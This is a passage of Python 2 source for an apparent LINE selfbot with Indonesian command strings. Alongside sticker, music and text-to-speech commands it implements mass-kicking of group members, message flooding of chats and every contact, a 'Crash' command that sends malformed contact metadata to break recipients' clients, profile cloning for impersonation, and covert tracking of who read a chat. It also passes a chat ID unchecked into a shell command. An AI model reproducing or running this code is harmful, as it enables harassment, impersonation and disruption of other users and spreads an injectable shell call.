'STKPKGID': '1329191'}
msg.to = target
msg.text = None
vipro.sendMessage(msg)
except:
msg.contentMetadata = {'mid': target}
elif "Gift5 " in msg.text:
msg.contentType = 13
nk0 = msg.text.replace("Gift5 ","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("@","")
nk3 = nk2.rstrip()
_name = nk3
gs = vipro.getGroup(msg.to)
targets = []
for s in gs.members:
if _name in s.displayName:
targets.append(s.mid)
if targets == []:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
try:
vipro.sendText(msg.to,_name + " Check Your Gift")
msg.contentType = 9
msg.contentMetadata= {'PRDTYPE': 'STICKER',
'STKVER': '1',
'MSGTPL': '1',
'STKPKGID': '9057'}
msg.to = target
msg.text = None
vipro.sendMessage(msg)
except:
msg.contentMetadata = {'mid': target}
elif "Gift6 " in msg.text:
msg.contentType = 13
nk0 = msg.text.replace("Gift6 ","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("@","")
nk3 = nk2.rstrip()
_name = nk3
gs = vipro.getGroup(msg.to)
targets = []
for s in gs.members:
if _name in s.displayName:
targets.append(s.mid)
if targets == []:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
try:
vipro.sendText(msg.to,_name + " Check Your Gift")
msg.contentType = 9
msg.contentMetadata= {'PRDTYPE': 'STICKER',
'STKVER': '1',
'MSGTPL': '2',
'STKPKGID': '9167'}
msg.to = target
msg.text = None
vipro.sendMessage(msg)
except:
msg.contentMetadata = {'mid': target}
elif "Gift7 " in msg.text:
msg.contentType = 13
nk0 = msg.text.replace("Gift7 ","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("@","")
nk3 = nk2.rstrip()
_name = nk3
gs = vipro.getGroup(msg.to)
targets = []
for s in gs.members:
if _name in s.displayName:
targets.append(s.mid)
if targets == []:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
try:
vipro.sendText(msg.to,_name + " Check Your Gift")
msg.contentType = 9
msg.contentMetadata= {'PRDTYPE': 'STICKER',
'STKVER': '1',
'MSGTPL': '3',
'STKPKGID': '7334'}
msg.to = target
msg.text = None
vipro.sendMessage(msg)
except:
msg.contentMetadata = {'mid': target}
elif "Gift8 " in msg.text:
msg.contentType = 13
nk0 = msg.text.replace("Gift8 ","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("@","")
nk3 = nk2.rstrip()
_name = nk3
gs = vipro.getGroup(msg.to)
targets = []
for s in gs.members:
if _name in s.displayName:
targets.append(s.mid)
if targets == []:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
try:
vipro.sendText(msg.to,_name + " Check Your Gift")
msg.contentType = 9
msg.contentMetadata= {'PRDTYPE': 'STICKER',
'STKVER': '1',
'MSGTPL': '1',
'STKPKGID': '1380280'}
msg.to = target
msg.text = None
vipro.sendMessage(msg)
except:
msg.contentMetadata = {'mid': target}
elif "Gift9 " in msg.text:
msg.contentType = 13
nk0 = msg.text.replace("Gift9 ","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("@","")
nk3 = nk2.rstrip()
_name = nk3
gs = vipro.getGroup(msg.to)
targets = []
for s in gs.members:
if _name in s.displayName:
targets.append(s.mid)
if targets == []:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
try:
vipro.sendText(msg.to,_name + " Check Your Gift")
msg.contentType = 9
msg.contentMetadata= {'PRDTYPE': 'STICKER',
'STKVER': '1',
'MSGTPL': '4',
'STKPKGID': '1405277'}
msg.to = target
msg.text = None
vipro.sendMessage(msg)
except:
msg.contentMetadata = {'mid': target}
elif "Gift10 " in msg.text:
msg.contentType = 13
nk0 = msg.text.replace("Gift10 ","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("@","")
nk3 = nk2.rstrip()
_name = nk3
gs = vipro.getGroup(msg.to)
targets = []
for s in gs.members:
if _name in s.displayName:
targets.append(s.mid)
if targets == []:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
try:
vipro.sendText(msg.to,_name + " Check Your Gift")
msg.contentType = 9
msg.contentMetadata= {'PRDTYPE': 'STICKER',
'STKVER': '1',
'MSGTPL': '1',
'STKPKGID': '1296261'}
msg.to = target
msg.text = None
vipro.sendMessage(msg)
except:
msg.contentMetadata = {'mid': target}
elif msg.text.lower() in ["wkwkwk","wkwk","hahaha","haha"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '100',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["hehehe","hehe"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '10',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["galau"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '9',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["you","kau","kamu"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '7',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["marah","hadeuh","hadeh"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '6',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["please","pliss","mohon","tolong"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '4',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["haa","haaa","kaget"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '3',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["lucu","ngakak","lol"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '110',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["hmm","hmmm"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '101',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["tidur"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '1',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["gemes"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '2',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["cantik","imut"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '5',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["nyanyi","lalala"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '11',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["gugup"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '8',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["ok","oke","okay","oce","okee","sip","siph"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '13',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["mantab","mantap","nice","keren"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '14',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["ngejek"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '15',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["nangis","sedih"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '16',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["woi","kampret"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '102',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif msg.text.lower() in ["huft"]:
msg.contentType = 7
msg.contentMetadata={'STKID': '104',
'STKPKGID': '1',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif "tag all" == msg.text.lower():
group = vipro.getGroup(msg.to)
nama = [contact.mid for contact in group.members]
nm1, nm2, nm3, nm4, nm5, jml = [], [], [], [], [], len(nama)
if jml <= 100:
summon(msg.to, nama)
if jml > 100 and jml < 200:
for i in range(0, 99):
nm1 += [nama[i]]
summon(msg.to, nm1)
for j in range(100, len(nama)-1):
nm2 += [nama[j]]
summon(msg.to, nm2)
if jml > 200 and jml < 300:
for i in range(0, 99):
nm1 += [nama[i]]
summon(msg.to, nm1)
for j in range(100, 199):
nm2 += [nama[j]]
summon(msg.to, nm2)
for k in range(200, len(nama)-1):
nm3 += [nama[k]]
summon(msg.to, nm3)
if jml > 300 and jml < 400:
for i in range(0, 99):
nm1 += [nama[i]]
summon(msg.to, nm1)
for j in range(100, 199):
nm2 += [nama[j]]
summon(msg.to, nm2)
for k in range(200, 299):
nm3 += [nama[k]]
summon(msg.to, nm3)
for l in range(300, len(nama)-1):
nm4 += [nama[l]]
summon(msg.to, nm4)
if jml > 400 and jml < 500:
for i in range(0, 99):
nm1 += [nama[i]]
summon(msg.to, nm1)
for j in range(100, 199):
nm2 += [nama[j]]
summon(msg.to, nm2)
for k in range(200, 299):
nm3 += [nama[k]]
summon(msg.to, nm3)
for l in range(300, 399):
nm4 += [nama[l]]
summon(msg.to, nm4)
for m in range(400, len(nama)-1):
nm5 += [nama[m]]
summon(msg.to, nm5)
if jml > 500:
print "Terlalu Banyak Men 500+"
cnt = Message()
cnt.text = "Jumlah:\n" + str(jml) + " Members"
cnt.to = msg.to
vipro.sendMessage(cnt)
elif "tagall" == msg.text.lower():
group = vipro.getGroup(msg.to)
nama = [contact.mid for contact in group.members]
nm1, nm2, nm3, nm4, nm5, jml = [], [], [], [], [], len(nama)
if jml <= 100:
summon(msg.to, nama)
if jml > 100 and jml < 200:
for i in range(0, 99):
nm1 += [nama[i]]
summon(msg.to, nm1)
for j in range(100, len(nama)-1):
nm2 += [nama[j]]
summon(msg.to, nm2)
if jml > 200 and jml < 300:
for i in range(0, 99):
nm1 += [nama[i]]
summon(msg.to, nm1)
for j in range(100, 199):
nm2 += [nama[j]]
summon(msg.to, nm2)
for k in range(200, len(nama)-1):
nm3 += [nama[k]]
summon(msg.to, nm3)
if jml > 300 and jml < 400:
for i in range(0, 99):
nm1 += [nama[i]]
summon(msg.to, nm1)
for j in range(100, 199):
nm2 += [nama[j]]
summon(msg.to, nm2)
for k in range(200, 299):
nm3 += [nama[k]]
summon(msg.to, nm3)
for l in range(300, len(nama)-1):
nm4 += [nama[l]]
summon(msg.to, nm4)
if jml > 400 and jml < 500:
for i in range(0, 99):
nm1 += [nama[i]]
summon(msg.to, nm1)
for j in range(100, 199):
nm2 += [nama[j]]
summon(msg.to, nm2)
for k in range(200, 299):
nm3 += [nama[k]]
summon(msg.to, nm3)
for l in range(300, 399):
nm4 += [nama[l]]
summon(msg.to, nm4)
for m in range(400, len(nama)-1):
nm5 += [nama[m]]
summon(msg.to, nm5)
if jml > 500:
print "Terlalu Banyak Men 500+"
cnt = Message()
cnt.text = "Jumlah:\n" + str(jml) + " Members"
cnt.to = msg.to
vipro.sendMessage(cnt)
elif msg.text in ["Setview","Setpoint","Cctv"]:
subprocess.Popen("echo '' > dataSeen/"+msg.to+".txt", shell=True, stdout=subprocess.PIPE)
vipro.sendText(msg.to, "☆Checkpoint Checked☆")
print "Setview"
elif msg.text in ["Viewseen","Check","Ciduk","Cyduk"]:
lurkGroup = ""
dataResult, timeSeen, contacts, userList, timelist, recheckData = [], [], [], [], [], []
with open('dataSeen/'+msg.to+'.txt','r') as rr:
contactArr = rr.readlines()
for v in xrange(len(contactArr) -1,0,-1):
num = re.sub(r'\n', "", contactArr[v])
contacts.append(num)
pass
contacts = list(set(contacts))
for z in range(len(contacts)):
arg = contacts[z].split('|')
userList.append(arg[0])
timelist.append(arg[1])
uL = list(set(userList))
for ll in range(len(uL)):
try:
getIndexUser = userList.index(uL[ll])
timeSeen.append(time.strftime("%H:%M:%S", time.localtime(int(timelist[getIndexUser]) / 1000)))
recheckData.append(userList[getIndexUser])
except IndexError:
conName.append('nones')
pass
contactId = vipro.getContacts(recheckData)
for v in range(len(recheckData)):
dataResult.append(contactId[v].displayName + ' ('+timeSeen[v]+')')
pass
if len(dataResult) > 0:
tukang = "╔═════════════════════════\n║ ☆☞ LIST VIEWERS ☜☆\n╠═════════════════════════\n╠➩"
grp = '\n╠➩ '.join(str(f) for f in dataResult)
total = '\n╠═════════════════════════\n╠➩ Total %i Viewers (%s)' % (len(dataResult), datetime.now().strftime('%H:%M:%S')) + "\n╚═════════════════════════"
vipro.sendText(msg.to, "%s %s %s" % (tukang, grp, total))
subprocess.Popen("echo '' > dataSeen/"+msg.to+".txt", shell=True, stdout=subprocess.PIPE)
vipro.sendText(msg.to, "☆Auto Checkpoint☆")
else:
vipro.sendText(msg.to, "☆Belum Ada Viewers☆")
print "Viewseen"
elif "Kick " in msg.text:
if msg.from_ in admin:
if 'MENTION' in msg.contentMetadata.keys()!= None:
names = re.findall(r'@(\w+)', msg.text)
mention = ast.literal_eval(msg.contentMetadata['MENTION'])
mentionees = mention['MENTIONEES']
print mentionees
for mention in mentionees:
vipro.kickoutFromGroup(msg.to,[mention['M']])
elif "Set member: " in msg.text:
if msg.from_ in admin:
jml = msg.text.replace("Set member: ","")
wait["Members"] = int(jml)
vipro.sendText(msg.to, "Jumlah minimal member telah di set : "+jml)
elif "Add all" in msg.text:
thisgroup = vipro.getGroups([msg.to])
Mids = [contact.mid for contact in thisgroup[0].members]
mi_d = Mids[:33]
vipro.findAndAddContactsByMids(mi_d)
vipro.sendText(msg.to,"Success Add all")
elif msg.text in ["Invite"]:
wait["invite"] = True
vipro.sendText(msg.to,"Send Contact")
elif msg.text in ["Auto like"]:
wait["likeOn"] = True
vipro.sendText(msg.to,"Shere Post Kamu Yang Mau Di Like!")
elif msg.text in ["Steal contact"]:
wait["steal"] = True
vipro.sendText(msg.to,"Send Contact")
elif msg.text in ["Giftbycontact"]:
wait["gift"] = True
vipro.sendText(msg.to,"Send Contact")
elif msg.text in ["Copycontact"]:
wait["copy"] = True
vipro.sendText(msg.to,"Send Contact")
elif msg.text in ["Sticker on"]:
wait["sticker"] = True
vipro.sendText(msg.to,"Sticker ID Detect Already On.")
elif msg.text in ["Bot off"]:
wait["Bot"] = False
vipro.sendText(msg.to,"Bot Sudah Di Nonaktifkan.")
elif "Recover" in msg.text:
thisgroup = vipro.getGroups([msg.to])
Mids = [contact.mid for contact in thisgroup[0].members]
mi_d = Mids[:33]
vipro.createGroup("Recover", mi_d)
vipro.sendText(msg.to,"Success recover")
elif ("Gn: " in msg.text):
if msg.toType == 2:
X = vipro.getGroup(msg.to)
X.name = msg.text.replace("Gn: ","")
vipro.updateGroup(X)
else:
vipro.sendText(msg.to,"It can't be used besides the group.")
elif "Kick: " in msg.text:
midd = msg.text.replace("Kick: ","")
if midd not in admin:
vipro.kickoutFromGroup(msg.to,[midd])
else:
vipro.sendText(msg.to,"Admin Detected")
elif "Invite: " in msg.text:
midd = msg.text.replace("Invite: ","")
vipro.findAndAddContactsByMid(midd)
vipro.inviteIntoGroup(msg.to,[midd])
elif "Invite creator" in msg.text:
midd = "uda936836a9869eb86ec8ab992a4e8979"
vipro.inviteIntoGroup(msg.to,[midd])
elif msg.text in ["Welcome","welcome","Welkam","welkam","Wc","wc"]:
gs = vipro.getGroup(msg.to)
vipro.sendText(msg.to,"Selamat Datang Di "+ gs.name)
msg.contentType = 7
msg.contentMetadata={'STKID': '247',
'STKPKGID': '3',
'STKVER': '100'}
msg.text = None
vipro.sendMessage(msg)
elif "Bc: " in msg.text:
bc = msg.text.replace("Bc: ","")
gid = vipro.getGroupIdsJoined()
if msg.from_ in Creator:
for i in gid:
vipro.sendText(i,"=======[BROADCAST]=======\n\n"+bc+"\n\nContact Me : line.me/ti/p/~akbarr288")
vipro.sendText(msg.to,"Success BC BosQ")
else:
vipro.sendText(msg.to,"Khusus Admin")
elif msg.text in ["Cancel"]:
gid = vipro.getGroupIdsInvited()
for i in gid:
vipro.rejectGroupInvitation(i)
vipro.sendText(msg.to,"All invitations have been refused")
elif msg.text in ["Gurl"]:
if msg.toType == 2:
x = vipro.getGroup(msg.to)
if x.preventJoinByTicket == True:
x.preventJoinByTicket = False
vipro.updateGroup(x)
gurl = vipro.reissueGroupTicket(msg.to)
vipro.sendText(msg.to,"line://ti/g/" + gurl)
else:
if wait["lang"] == "JP":
vipro.sendText(msg.to,"Can't be used outside the group")
else:
vipro.sendText(msg.to,"Not for use less than group")
elif msg.text in ["timeline"]:
try:
url = vipro.activity(limit=5)
vipro.sendText(msg.to,url['result']['posts'][0]['postInfo']['postId'])
except Exception as E:
print E
elif msg.text in ["@bye","@Bye"]:
vipro.leaveGroup(msg.to)
elif msg.text in ["Absen"]:
vipro.sendText(msg.to,"Hadir!!")
elif msg.text.lower() in ["respon"]:
vipro.sendText(msg.to,responsename)
elif msg.text in ["Sp","Speed","speed"]:
start = time.time()
print("Speed")
elapsed_time = time.time() - start
vipro.sendText(msg.to, "Progress...")
vipro.sendText(msg.to, "%sseconds" % (elapsed_time))
elif msg.text in ["Speed test"]:
start = time.time()
vipro.sendText(msg.to, "Progress...")
elapsed_time = time.time() - start
vipro.sendText(msg.to, "%sseconds" % (elapsed_time))
elif msg.text in ["Ban"]:
if msg.from_ in admin:
wait["wblacklist"] = True
vipro.sendText(msg.to,"send contact")
elif msg.text in ["Unban"]:
if msg.from_ in admin:
wait["dblacklist"] = True
vipro.sendText(msg.to,"send contact")
elif "Ban @" in msg.text:
if msg.from_ in admin:
if msg.toType == 2:
print "@Ban by mention"
_name = msg.text.replace("Ban @","")
_nametarget = _name.rstrip(' ')
gs = vipro.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
vipro.sendText(msg.to,"Not found")
else:
for target in targets:
if target not in admin:
try:
wait["blacklist"][target] = True
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
vipro.sendText(msg.to,"Succes BosQ")
except:
vipro.sendText(msg.to,"Error")
else:
vipro.sendText(msg.to,"Admin Detected~")
elif msg.text in ["Banlist","Ban list"]:
if msg.from_ in admin:
if wait["blacklist"] == {}:
vipro.sendText(msg.to,"Tidak Ada")
else:
mc = ""
for mi_d in wait["blacklist"]:
mc += "->" +vipro.getContact(mi_d).displayName + "\n"
vipro.sendText(msg.to,"===[Blacklist User]===\n"+mc)
elif "Unban @" in msg.text:
if msg.toType == 2:
print "@Unban by mention"
if msg.from_ in admin:
_name = msg.text.replace("Unban @","")
_nametarget = _name.rstrip(' ')
gs = vipro.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
vipro.sendText(msg.to,"Not found")
else:
for target in targets:
try:
del wait["blacklist"][target]
f=codecs.open('st2__b.json','w','utf-8')
json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False)
vipro.sendText(msg.to,"Succes BosQ")
except:
vipro.sendText(msg.to,"Succes BosQ")
elif msg.text.lower() == 'clear ban':
if msg.from_ in admin:
wait["blacklist"] = {}
vipro.sendText(msg.to,"ヽ( ^ω^)ノ└ ❉Unbanned All Success❉ ┐")
elif msg.text in ["Kill ban"]:
if msg.from_ in admin:
if msg.toType == 2:
group = vipro.getGroup(msg.to)
gMembMids = [contact.mid for contact in group.members]
matched_list = []
for tag in wait["blacklist"]:
matched_list+=filter(lambda str: str == tag, gMembMids)
if matched_list == []:
vipro.sendText(msg.to,"There was no blacklist user")
return
for jj in matched_list:
vipro.kickoutFromGroup(msg.to,[jj])
vipro.sendText(msg.to,"Blacklist emang pantas tuk di usir")
else:
vipro.sendText(msg.to, "Khusus creator")
elif msg.text in ["Kill"]:
if msg.toType == 2:
if msg.from_ in admin:
group = vipro.getGroup(msg.to)
gMembMids = [contact.mid for contact in group.members]
matched_list = []
for tag in wait["blacklist"]:
matched_list+=filter(lambda str: str == tag, gMembMids)
if matched_list == []:
vipro.sendText(msg.to,"Fuck You")
return
for jj in matched_list:
try:
vipro.kickoutFromGroup(msg.to,[jj])
print (msg.to,[jj])
except:
pass
elif "Kickall" == msg.text:
if msg.from_ in Creator:
if msg.toType == 2:
print "Kick all member"
_name = msg.text.replace("Kickall","")
gs = vipro.getGroup(msg.to)
vipro.sendText(msg.to,"Dadaaah~")
targets = []
for g in gs.members:
if _name in g.displayName:
targets.append(g.mid)
if targets == []:
vipro.sendText(msg.to,"Not found.")
else:
for target in targets:
if target not in admin:
try:
vipro.kickoutFromGroup(msg.to,[target])
print (msg.to,[g.mid])
except Exception as e:
vipro.sendText(msg.to,str(e))
vipro.inviteIntoGroup(msg.to, targets)
elif msg.text in ["Bot restart","Reboot"]:
if msg.from_ in Creator:
vipro.sendText(msg.to, "Bot Has Been Restarted...")
restart_program()
print "@Restart"
else:
vipro.sendText(msg.to, "No Access")
elif msg.text in ["Turn off"]:
if msg.from_ in Creator:
try:
import sys
sys.exit()
except:
pass
elif 'Crash' in msg.text:
if msg.from_ in Creator:
msg.contentType = 13
msg.contentMetadata = {'mid': "vipro,'"}
vipro.sendMessage(msg)
elif "copy @" in msg.text:
print "[COPY] Ok"
_name = msg.text.replace("copy @","")
_nametarget = _name.rstrip(' ')
gs = vipro.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
vipro.sendText(msg.to, "Not Found...")
else:
for target in targets:
try:
vipro.CloneContactProfile(target)
vipro.sendText(msg.to, "Copied (^_^)")
except Exception as e:
print e
elif msg.text in ["Mybackup"]:
try:
vipro.updateDisplayPicture(backup1.pictureStatus)
vipro.updateProfile(backup1)
vipro.sendText(msg.to, "Done (^_^)")
except Exception as e:
vipro.sendText(msg.to, str(e))
elif "musik " in msg.text:
songname = msg.text.replace("musik ","")
params = {"songname": songname}
r = requests.get('http://ide.fdlrcn.com/workspace/yumi-apis/joox?' + urllib.urlencode(params))
data = r.text
data = json.loads(data)
for song in data:
abc = song[3].replace('https://','http://')
vipro.sendText(msg.to, "Title : " + song[0] + "\nLength : " + song[1] + "\nLink download : " + song[4])
vipro.sendText(msg.to, "Lagu " + song[0] + "\nSedang Di Prosses... Tunggu Sebentar ^_^ ")
vipro.sendAudioWithURL(msg.to,abc)
vipro.sendText(msg.to, "Selamat Mendengarkan Lagu " + song[0])
elif 'lirik ' in msg.text.lower():
try:
songname = msg.text.lower().replace('lirik ','')
params = {'songname': songname}
r = requests.get('http://ide.fdlrcn.com/workspace/yumi-apis/joox?' + urllib.urlencode(params))
data = r.text
data = json.loads(data)
for song in data:
hasil = 'Lyric Lagu ('
hasil += song[0]
hasil += ')\n\n'
hasil += song[5]
vipro.sendText(msg.to, hasil)
except Exception as wak:
vipro.sendText(msg.to, str(wak))
elif "musrik " in msg.text:
songname = msg.text.replace("musrik ","")
params = {"songname": songname}
r = requests.get('http://ide.fdlrcn.com/workspace/yumi-apis/joox?' + urllib.urlencode(params))
data = r.text
data = json.loads(data)
for song in data:
abc = song[3].replace('https://','http://')
hasil = 'Lyric Lagu ('
hasil += song[0]
hasil += ')\n\n'
hasil += song[5]
vipro.sendText(msg.to, "Lagu " + song[0] + "\nSedang Di Prosses... Tunggu Sebentar ^_^ ")
vipro.sendAudioWithURL(msg.to,abc)
vipro.sendText(msg.to, "Title : " + song[0] + "\nLength : " + song[1] + "\nLink download : " + song[4] +"\n\n" + hasil)
vipro.sendText(msg.to, "Selamat Mendengarkan Lagu " + song[0])
elif "Fancytext " in msg.text:
txt = msg.text.replace("Fancytext ", "")
vipro.kedapkedip(msg.to,txt)
print "[Command] Kedapkedip"
elif "cover @" in msg.text:
if msg.toType == 2:
cover = msg.text.replace("cover @","")
_nametarget = cover.rstrip(' ')
gs = vipro.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
vipro.sendText(msg.to,"Not found")
else:
for target in targets:
try:
h = vipro.channel.getHome(target)
objId = h["result"]["homeInfo"]["objectId"]
vipro.sendImageWithURL(msg.to,"http://dl.profile.line-cdn.net/myhome/c/download.nhn?userid=" + target + "&oid=" + objId)
except Exception as error:
print error
vipro.sendText(msg.to,"Upload image failed.")
elif "Cover @" in msg.text:
if msg.toType == 2:
cover = msg.text.replace("Cover @","")
_nametarget = cover.rstrip(' ')
gs = vipro.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
vipro.sendText(msg.to,"Not found")
else:
for target in targets:
try:
h = vipro.channel.getHome(target)
objId = h["result"]["homeInfo"]["objectId"]
vipro.sendImageWithURL(msg.to,"http://dl.profile.line-cdn.net/myhome/c/download.nhn?userid=" + target + "&oid=" + objId)
except Exception as error:
print error
vipro.sendText(msg.to,"Upload image failed.")
elif "Cpp" in msg.text:
if msg.from_ in admin:
path = "vipro.jpg"
vipro.sendText(msg.to,"Update PP :")
vipro.sendImage(msg.to,path)
vipro.updateProfilePicture(path)
elif "pp @" in msg.text:
if msg.toType == 2:
cover = msg.text.replace("pp @","")
_nametarget = cover.rstrip(' ')
gs = vipro.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
vipro.sendText(msg.to,"Not found")
else:
for target in targets:
try:
h = vipro.getContact(target)
vipro.sendImageWithURL(msg.to,"http://dl.profile.line-cdn.net/" + h.pictureStatus)
except Exception as error:
print error
vipro.sendText(msg.to,"Upload image failed.")
elif "Pp @" in msg.text:
if msg.toType == 2:
cover = msg.text.replace("Pp @","")
_nametarget = cover.rstrip(' ')
gs = vipro.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
vipro.sendText(msg.to,"Not found")
else:
for target in targets:
try:
h = vipro.getContact(target)
vipro.sendImageWithURL(msg.to,"http://dl.profile.line-cdn.net/" + h.pictureStatus)
except Exception as error:
print error
vipro.sendText(msg.to,"Upload image failed.")
elif "Spam: " in msg.text:
bctxt = msg.text.replace("Spam: ", "")
t = 10
while(t):
vipro.sendText(msg.to, (bctxt))
t-=1
elif "Scbc " in msg.text:
bctxt = msg.text.replace("Scbc ", "")
orang = vipro.getAllContactIds()
t = 20
for manusia in orang:
while(t):
vipro.sendText(manusia, (bctxt))
t-=1
elif "Cbc " in msg.text:
broadcasttxt = msg.text.replace("Cbc ", "")
orang = vipro.getAllContactIds()
for manusia in orang:
vipro.sendText(manusia, (broadcasttxt))
elif 'ig ' in msg.text.lower():
try:
instagram = msg.text.lower().replace("ig ","")
html = requests.get('https://www.instagram.com/' + instagram + '/?')
soup = BeautifulSoup(html.text, 'html.parser')
data = soup.find_all('meta', attrs={'property':'og:description'})
text = data[0].get('content').split()
data1 = soup.find_all('meta', attrs={'property':'og:image'})
text1 = data1[0].get('content').split()
tj = text1[0].replace("s150x150/","")
user = "Name: " + text[-2] + "\n"
user1 = "Username: " + text[-1] + "\n"
followers = "Followers: " + text[0] + "\n"
following = "Following: " + text[2] + "\n"
post = "Post: " + text[4] + "\n"
link = "Link: " + "https://www.instagram.com/" + instagram
detail = "========INSTAGRAM INFO ========\n"
details = "\n========INSTAGRAM INFO ========"
vipro.sendText(msg.to, detail + user + user1 + followers + following + post + link + details)
vipro.sendImageWithURL(msg.to, tj)
except Exception as njer:
vipro.sendText(msg.to, str(njer))
elif "Checkig " in msg.text:
separate = msg.text.split(" ")
user = msg.text.replace(separate[0] + " ","")
if user.startswith("@"):
user = user.replace("@","")
profile = "https://www.instagram.com/" + user
with requests.session() as x:
x.headers['user-agent'] = 'Mozilla/5.0'
end_cursor = ''
for count in range(1, 999):
print('PAGE: ', count)
r = x.get(profile, params={'max_id': end_cursor})
data = re.search(r'window._sharedData = (\{.+?});</script>', r.text).group(1)
j = json.loads(data)
for node in j['entry_data']['ProfilePage'][0]['user']['media']['nodes']:
if node['is_video']:
page = 'https://www.instagram.com/p/' + node['code']
r = x.get(page)
url = re.search(r'"video_url": "([^"]+)"', r.text).group(1)
print(url)
vipro.sendVideoWithURL(msg.to,url)
else:
print (node['display_src'])
vipro.sendImageWithURL(msg.to,node['display_src'])
end_cursor = re.search(r'"end_cursor": "([^"]+)"', r.text).group(1)
elif 'Youtube ' in msg.text:
try:
textToSearch = (msg.text).replace('Youtube ', "").strip()
query = urllib.quote(textToSearch)
url = "https://www.youtube.com/results?search_query=" + query
response = urllib2.urlopen(url)
html = response.read()
soup = BeautifulSoup(html, "html.parser")
results = soup.find(attrs={'class':'yt-uix-tile-link'})
vipro.sendText(msg.to,'https://www.youtube.com' + results['href'])
except:
vipro.sendText(msg.to,"Could not find it")
elif 'Youtubevideo ' in msg.text:
try:
textToSearch = (msg.text).replace('Youtubevideo ', "").strip()
query = urllib.quote(textToSearch)
url = "https://www.youtube.com/results?search_query=" + query
response = urllib2.urlopen(url)
html = response.read()
soup = BeautifulSoup(html, "html.parser")
results = soup.find(attrs={'class': 'yt-uix-tile-link'})
vipro.sendVideoWithURL(msg.to,'https://www.youtube.com' + results['href'])
except:
vipro.sendText(msg.to, "Could not find it")
elif "Say " in msg.text:
say = msg.text.replace("Say ","")
lang = 'id'
tts = gTTS(text=say, lang=lang)
tts.save("hasil.mp3")
vipro.sendAudio(msg.to,"hasil.mp3")
elif "Say-en " in msg.text:
say = msg.text.replace("Say-en ","")
lang = 'en'
tts = gTTS(text=say, lang=lang)
tts.save("hasil.mp3")
